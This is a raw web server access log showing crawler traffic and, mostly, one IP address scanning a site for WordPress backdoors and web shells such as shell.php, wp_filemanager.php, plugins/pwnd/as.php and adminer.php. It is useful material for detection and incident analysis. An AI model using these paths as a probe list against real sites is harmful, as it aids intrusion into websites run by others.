[24/Apr/2026:22:32:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 115.231.78.15 - - [24/Apr/2026:21:52:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE" 159.89.33.119 - - [24/Apr/2026:22:47:12 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 66.132.186.182 - - [25/Apr/2026:02:22:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 159.89.33.119 - - [24/Apr/2026:22:47:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 115.231.78.15 - - [24/Apr/2026:21:52:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.2623.112 Safari/537.36" 154.19.39.111 - - [24/Apr/2026:22:13:51 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.190.142.176 - - [25/Apr/2026:01:10:07 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 173.252.70.27 - - [25/Apr/2026:02:03:02 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 49.48.70.185 - - [25/Apr/2026:01:06:19 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 103.35.189.225 - - [24/Apr/2026:22:36:34 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.155.162.41 - - [24/Apr/2026:22:53:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 147.135.213.170 - - [25/Apr/2026:03:44:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 147.135.213.170 - - [25/Apr/2026:03:44:38 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 115.45.40.29 - - [25/Apr/2026:04:38:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/82.0.4359.102 Safari/537.36 LBBROWSER" 43.135.185.59 - - [25/Apr/2026:07:57:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.174.58.226 - - [25/Apr/2026:09:06:05 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 54.174.58.251 - - [25/Apr/2026:07:47:18 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 54.174.58.241 - - [25/Apr/2026:08:27:44 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 45.131.195.109 - - [25/Apr/2026:09:03:05 +0300] "GET /dup-installer/main.installer.php HTTP/1.1" 301 795 "-" "-" 43.130.40.120 - - [25/Apr/2026:09:19:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.174.58.254 - - [25/Apr/2026:06:54:38 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 54.174.58.254 - - [25/Apr/2026:06:54:38 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; HubSpot Crawler; +https://www.hubspot.com) Chrome/131.0.0.0 Safari/537.36" 195.178.110.242 - - [25/Apr/2026:07:44:22 +0300] "GET /wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 146.148.96.135 - - [25/Apr/2026:07:48:48 +0300] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 160.178.126.225 - - [25/Apr/2026:10:09:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.199.101.230 - - [25/Apr/2026:11:04:51 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:51 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:54 +0300] "GET /one.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:57 +0300] "GET /no20.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:01 +0300] "GET /wp-alone.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:04 +0300] "GET /yasnu.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:39 +0300] "GET /bhm.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:53 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:53 +0300] "GET /file0.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:53 +0300] "GET /t3s.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:53 +0300] "GET /crgio.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:53 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:53 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:56 +0300] "GET /77.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:56 +0300] "GET /.sghb.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:56 +0300] "GET /zoko.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:56 +0300] "GET /solo1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:56 +0300] "GET /locales.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:56 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:56 +0300] "GET /pucci.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:57 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:57 +0300] "GET /.dj/index.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:57 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:57 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:57 +0300] "GET /one.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:57 +0300] "GET /no20.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:09 +0300] "GET /2468.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:13 +0300] "GET //wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:16 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:19 +0300] "GET /amdin.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:22 +0300] "GET /huya.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:23 +0300] "GET /puc.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:26 +0300] "GET //themes.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:27 +0300] "GET /wp-alone.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:27 +0300] "GET /yasnu.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:27 +0300] "GET //sl.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:03 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:07 +0300] "GET //wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:08 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:29 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:32 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:36 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:57 +0300] "GET /wp-temp.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:58 +0300] "GET /wp-content/themes/twentytwentyfive/assets/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:58 +0300] "GET /wp-includes/blocks/buttons/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:58 +0300] "GET /class-bda.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:58 +0300] "GET /bhm.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:58 +0300] "GET /xmu.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:58 +0300] "GET /ref.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:00 +0300] "GET /wp-xme.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:00 +0300] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:01 +0300] "GET /ktfow.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:01 +0300] "GET /mode.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:01 +0300] "GET /2468.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:01 +0300] "GET //wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:01 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:01 +0300] "GET /amdin.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:01 +0300] "GET /huya.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:01 +0300] "GET /puc.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:02 +0300] "GET //themes.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:05 +0300] "GET /ewp.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:05 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:05 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:05 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:06 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:06 +0300] "GET /awa.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:06 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:06 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:06 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:06 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:36 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:39 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:43 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:47 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:49 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:51 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:55 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:14 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:34 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:38 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:07 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:17 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:19 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:19 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:19 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:22 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:03:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:23 +0300] "GET /.sghb.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:26 +0300] "GET /zoko.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:29 +0300] "GET /solo1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:31 +0300] "GET /locales.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:35 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:39 +0300] "GET /pucci.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:43 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:43 +0300] "GET /.dj/index.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:34 +0300] "GET /wp-content/themes/twentytwentyfive/assets/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:34 +0300] "GET /wp-includes/blocks/buttons/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:34 +0300] "GET /class-bda.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:49 +0300] "GET /ref.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:33 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:36 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:39 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:39 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:39 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:39 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:39 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:43 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:47 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:01 +0300] "GET /.well-known/nastar.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:04 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:08 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:39 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:44 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:47 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:49 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:51 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:54 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:56 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:59 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:45 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:46 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:14 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:17 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:17 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:29 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:03 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:07 +0300] "GET /hypo.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:09 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:11 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:22 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:27 +0300] "GET //admin1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:35 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:35 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:39 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:39 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:39 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:53 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:54 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:57 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:36 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:40 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:43 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:46 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:49 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:52 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:54 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:54 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:57 +0300] "GET /drykl.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:12 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:14 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:15 +0300] "GET /77.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:23 +0300] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:11 +0300] "GET //wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:11 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:11 +0300] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:09 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:09 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:13 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:19 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:23 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:25 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:13 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:13 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:16 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:17 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:19 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:19 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:06 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:06 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:09 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:40 +0300] "GET /hypo.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:40 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:41 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:41 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:41 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:29 +0300] "GET /wp-temp.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:44 +0300] "GET /xmu.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:56 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:26 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:28 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:29 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:32 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:34 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:38 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:14 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:17 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:17 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:21 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:24 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:43 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:43 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:47 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 